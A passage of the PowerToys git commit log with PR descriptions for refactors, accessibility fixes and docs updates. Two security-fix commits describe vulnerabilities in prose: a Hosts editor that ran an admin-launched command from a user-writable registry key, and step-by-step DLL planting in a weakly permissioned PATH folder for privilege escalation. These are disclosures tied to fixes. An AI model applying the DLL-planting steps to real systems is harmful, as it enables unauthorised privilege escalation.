- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-24 07:06:07 +00:00
Michael Jolley
86115a54f6 CmdPal: Extract persistence services from SettingsModel and AppStateModel (#46312)
## Summary of the Pull Request

Extracts persistence (load/save) logic from `SettingsModel` and
`AppStateModel` into dedicated service classes, following the
single-responsibility principle. Consumers now interact with
`ISettingsService` and `IAppStateService` instead of receiving raw model
objects through DI.

**New services introduced:**
- `IPersistenceService` / `PersistenceService` — generic `Load<T>` /
`Save<T>` with AOT-compatible `JsonTypeInfo<T>`, ensures target
directory exists before writing
- `ISettingsService` / `SettingsService` — loads settings on
construction, runs migrations, exposes `Settings` property and
`SettingsChanged` event
- `IAppStateService` / `AppStateService` — loads state on construction,
exposes `State` property and `StateChanged` event

**Key changes:**
- `SettingsModel` and `AppStateModel` are now pure data models — all
file I/O, migration, and directory management removed
- Raw `SettingsModel` and `AppStateModel` removed from DI container;
consumers receive the appropriate service
- `IApplicationInfoService.ConfigDirectory` injected into services for
config path resolution (no more hardcoded `Utilities.BaseSettingsPath`)
- ~30 consumer files updated across `Microsoft.CmdPal.UI.ViewModels` and
`Microsoft.CmdPal.UI` projects
- All `#pragma warning disable SA1300` suppressions removed —
convenience accessors replaced with direct `_settingsService.Settings` /
`_appStateService.State` access
- Namespace prefixes (`Services.ISettingsService`) replaced with proper
`using` directives

## PR Checklist

- [ ] **Communication:** I've discussed this with core contributors
already.
- [x] **Tests:** Added/updated and all pass
- [ ] **Localization:** N/A — no end-user-facing strings changed
- [ ] **Dev docs:** N/A — internal refactor, no public API changes
- [ ] **New binaries:** N/A — no new binaries introduced

## Detailed Description of the Pull Request / Additional comments

### Architecture

Services are registered as singletons in `App.xaml.cs`:
```csharp
services.AddSingleton<IPersistenceService, PersistenceService>();
services.AddSingleton<ISettingsService, SettingsService>();
services.AddSingleton<IAppStateService, AppStateService>();
```

`PersistenceService.Save<T>` writes the serialized model directly to
disk, creating the target directory if it doesn't exist. It also does
not attempt to merge existing and new settings/state. `SettingsService`
runs hotkey migrations on load and raises `SettingsChanged` after saves.
`AppStateService` always raises `StateChanged` after saves.

### Files changed (41 files, +1169/−660)

| Area | Files | What changed |
|------|-------|-------------|
| New services | `Services/IPersistenceService.cs`,
`PersistenceService.cs`, `ISettingsService.cs`, `SettingsService.cs`,
`IAppStateService.cs`, `AppStateService.cs` | New service interfaces and
implementations |
| Models | `SettingsModel.cs`, `AppStateModel.cs` | Stripped to pure
data bags |
| DI | `App.xaml.cs` | Service registration, removed raw model DI |
| ViewModels | 12 files | Constructor injection of services |
| UI | 10 files | Service injection replacing model access |
| Settings | `DockSettings.cs` | `Colors.Transparent` replaced with
struct literal to avoid WinUI3 COM dependency |
| Tests | `PersistenceServiceTests.cs`, `SettingsServiceTests.cs`,
`AppStateServiceTests.cs` | 38 unit tests covering all three services |
| Config | `.gitignore` | Added `.squad/`, `.github/agents/` exclusions
|

## Validation Steps Performed

- Built `Microsoft.CmdPal.UI` with MSBuild (x64/Debug) — exit code 0,
clean build
- Ran 38 unit tests via `vstest.console.exe` — all passing
- Verified no remaining `#pragma warning disable SA1300` blocks
- Verified no remaining `Services.` namespace prefixes

---------

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-03-20 18:58:27 -05:00
Kai Tao
99706d4324 PowerToys Extension: Fancyzone layout command should be able to be pinned into dock (#46198)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Currently, the layout do not have id, they can't be pinned into dock
<img width="1182" height="711" alt="image"
src="https://github.com/user-attachments/assets/67461267-4bed-4c07-99ff-7311c368ad09"
/>

This pr address this and they can be pinned into dock

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed


https://github.com/user-attachments/assets/8e7c8b04-663d-4cd3-b26f-d74e46511feb

---------

Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com>
2026-03-19 13:31:10 +08:00
Jessica Dene Earley-Cha
ff194c0b5f [Cmdpal] Screen reader announces "Enter Alias" instead of "Alias" in ExtensionPage (#45906)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Fixes a screen reader accessibility issue where the Alias TextBox in the
ExtensionPage settings was announcing "Enter Alias" as its accessible
name instead of just "Alias", making it confusing for users relying on
assistive technology.

This is part of the a11y bug batch.
User Impact:
Duplicate announcements can confuse users, increase cognitive load, and
slow down interaction for users relying on assistive technologies.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed



https://github.com/user-attachments/assets/3a676226-0b07-4e60-b2d8-99ae46ff5b64
2026-03-18 11:23:32 -07:00
Jessica Dene Earley-Cha
a151d6c8b6 [cmdpal] Announce Shortcut key information (#46164)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Add audio text about shortcut key for settings on the settings button

This is part of the a11y bug batch.
User Impact:
Users relying on assistive technologies may be unaware of shortcut keys,
reducing efficiency and making it harder to use the Command Palette
effectively.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed



https://github.com/user-attachments/assets/5a5f16dc-52f7-4e9d-85db-173eddba5d6d

---------

Co-authored-by: Jiří Polášek <me@jiripolasek.com>
2026-03-18 11:22:49 -07:00
Niels Laute
7610b77109 [Run] Remove unused namespaces (#46221)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

Related: #46220

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-18 19:16:56 +01:00
moooyo
549b32e273 [Security][Hosts] Remove open method lookup and hardcode the notepad to open host editor (#46194)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
**This is a security issue fix**

In Hosts Editor module, we support to open the hosts file through user's
default editor.
The way to find the editor is that we will read a registry key and use
the value as a parameter to call Process.Start.

In most case, it works well. But Hosts editor module will launch as
admin permission. But the registry value can be modified in user 's
permission (without UAC request).

So, the malware may change the registry value and if user click the open
button. May call the dangerous command which written in registry.


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46195
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Yu Leng (from Dev Box) <yuleng@microsoft.com>
Co-authored-by: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com>
2026-03-18 13:35:45 +08:00
Niels Laute
0ccf5986e9 0.98 release update for ReadMe (#46180)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Zach Teutsch <88554871+zateutsch@users.noreply.github.com>
2026-03-17 12:35:31 -05:00
Kai Tao
87b24afa23 Security: Fix Local privilege escalation via DLL hijack (#46145)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Attack vector:
1. user install per machine installer
2. Open an elevated command prompt and verify the newly added PowerToys
PATH entry
3. Inspect the ACL on the DSCModules directory an observe that the
"Authenticated Users" group have inherited Modify permissions
4. Log in as a low-privileged (non-admin) user and confirm that you can
create or modify files in C:\\PowerToys\\DSCModules\. This confirms that
a non-admin user can plant arbitrary DLLs in a system PATH directory.
5. The attacker identifies a DLL that a privileged process (e.g., a
system service or an application running as a different,
higher-privileged user) attempts to load via the standard DLL search
order. The attacker crafts a malicious DLL with the same name and places
it in C:\\PowerToys\\DSCModules.

The fix is to:
* Hardening the PowerToys DSC directory for per-machine custom installs
with correct ACL enforced with wix.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

<img width="836" height="449" alt="image"
src="https://github.com/user-attachments/assets/f21a814c-6514-4a86-b214-0984653aaab4"
/>


After upgrade, the ACL:

Path : Microsoft.PowerShell.Core\FileSystem::C:\apps\Power
Toys\DSCModules
Owner  : NT AUTHORITY\SYSTEM
Group  : NT AUTHORITY\SYSTEM
Access : CREATOR OWNER Allow  268435456
         NT AUTHORITY\SYSTEM Allow  FullControl
         BUILTIN\Administrators Allow  FullControl
         BUILTIN\Users Allow  ReadAndExecute, Synchronize
Audit  :
Sddl :
O:SYG:SYD:P(A;OICIIO;GA;;;CO)(A;OICI;FA;;;SY)(A;OICI;FA;;;BA)(A;OICI;0x1200a9;;;BU)

---------

Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com>
2026-03-17 11:27:57 +08:00
Niels Laute
74c53c14e6 KBM Icon fix (#46157)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

---------

Co-authored-by: Zach Teutsch <88554871+zateutsch@users.noreply.github.com>
Co-authored-by: Dustin L. Howett <dustin@howett.net>
2026-03-16 21:29:29 -04:00
Michael Jolley
77173cd075 CmdPal: Stop dock window resizes from saving for normal window opens (#46118)
Currently, if you resize a window opened from the dock (i.e. performance
monitor commands) then exit CmdPal, the resized "size" persists on
normal hotkey opens. This change tells CmdPal to revert the size when
opened and only save the size on normal window close.

Fixes #45591

---------

Co-authored-by: Jiří Polášek <me@jiripolasek.com>
2026-03-16 19:47:54 +01:00
Niels Laute
149e7b1efe Update LightSwitchPage (#46160)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-16 18:20:50 +00:00
Kai Tao
0c2d24c3f6 PowerToys Extension: Use project build because we don't need packagereference (#46080)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
At first version, tried to use the project reference instead of package
reference, while it did not work in my local environment, so used
package reference instead.

While planned to project reference for many reasons like first day
problem explosure in sdk, maintain the strict consistent winmd with the
extension host.

Hopefully to solve some of the extension not starting problem.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

Built an installer and validated in my arm64 and x64 machine, works
perfectly
2026-03-16 10:58:21 +08:00
Michael Jolley
b81ea23c68 CmdPal: Adding a lock around perf monitor updates (#46061)
Based on reported bug in Teams.

Added lock around OnLoadBasePage._loadCount and modified
PerformanceWidgetPage to use Interlocked.Increment/Decrement on
_loadCount.

---------

Co-authored-by: leileizhang <leilzh@microsoft.com>
Co-authored-by: Niels Laute <niels.laute@live.nl>
Co-authored-by: moooyo <42196638+moooyo@users.noreply.github.com>
Co-authored-by: Yu Leng <yuleng@microsoft.com>
Co-authored-by: Kai Tao <69313318+vanzue@users.noreply.github.com>
Co-authored-by: Jiří Polášek <me@jiripolasek.com>
Co-authored-by: Shawn Yuan <128874481+shuaiyuanxx@users.noreply.github.com>
Co-authored-by: Gordon Lam <73506701+yeelam-gordon@users.noreply.github.com>
Co-authored-by: Heiko <61519853+htcfreek@users.noreply.github.com>
Co-authored-by: Mike Hall <mikehall@microsoft.com>
Co-authored-by: vanzue <vanzue@outlook.com>
Co-authored-by: Jaylyn Barbee <51131738+Jaylyn-Barbee@users.noreply.github.com>
Co-authored-by: Thanh Nguyen <74597207+ThanhNguyxn@users.noreply.github.com>
Co-authored-by: Zach Teutsch <88554871+zateutsch@users.noreply.github.com>
2026-03-11 17:06:44 -04:00
Jaylyn Barbee
39bbf0593e [KBM] Fixing text replacement bug (#46069)
There is a bug now where text replacement is causing the app to crash.
Wrapping those blocks in try catch so the worker stays alive.
2026-03-11 14:02:46 -04:00
Dave Rayment
4620f6f381 [Docs] Update PowerToys download links to version 0.97.2 (#46058)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Update 0.97.1 download links to 0.97.2 in the main README.md.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #46057
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

Updated all download section descriptions and all links under the "items
that need to be updated release to release" comment, which updates the
download section links themselves.

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

Tested all download links to confirm they have been updated correctly:

<img width="418" height="392" alt="image"
src="https://github.com/user-attachments/assets/09628863-7681-4e71-9d31-bc9bb4bb91c1"
/>
2026-03-11 10:20:49 +00:00
Kai Tao
da3b12d536 Pipeline: Pipeline failed due to restore fail, fix it (#46062)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
As title
<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-11 03:28:43 +00:00
Niels Laute
bab77edd11 [Dock] Add pin instructions (#46052)
## Summary of the Pull Request

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

<img width="549" height="341" alt="image"
src="https://github.com/user-attachments/assets/e09e3686-1ffd-4929-8828-061a4aa42fbb"
/>

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
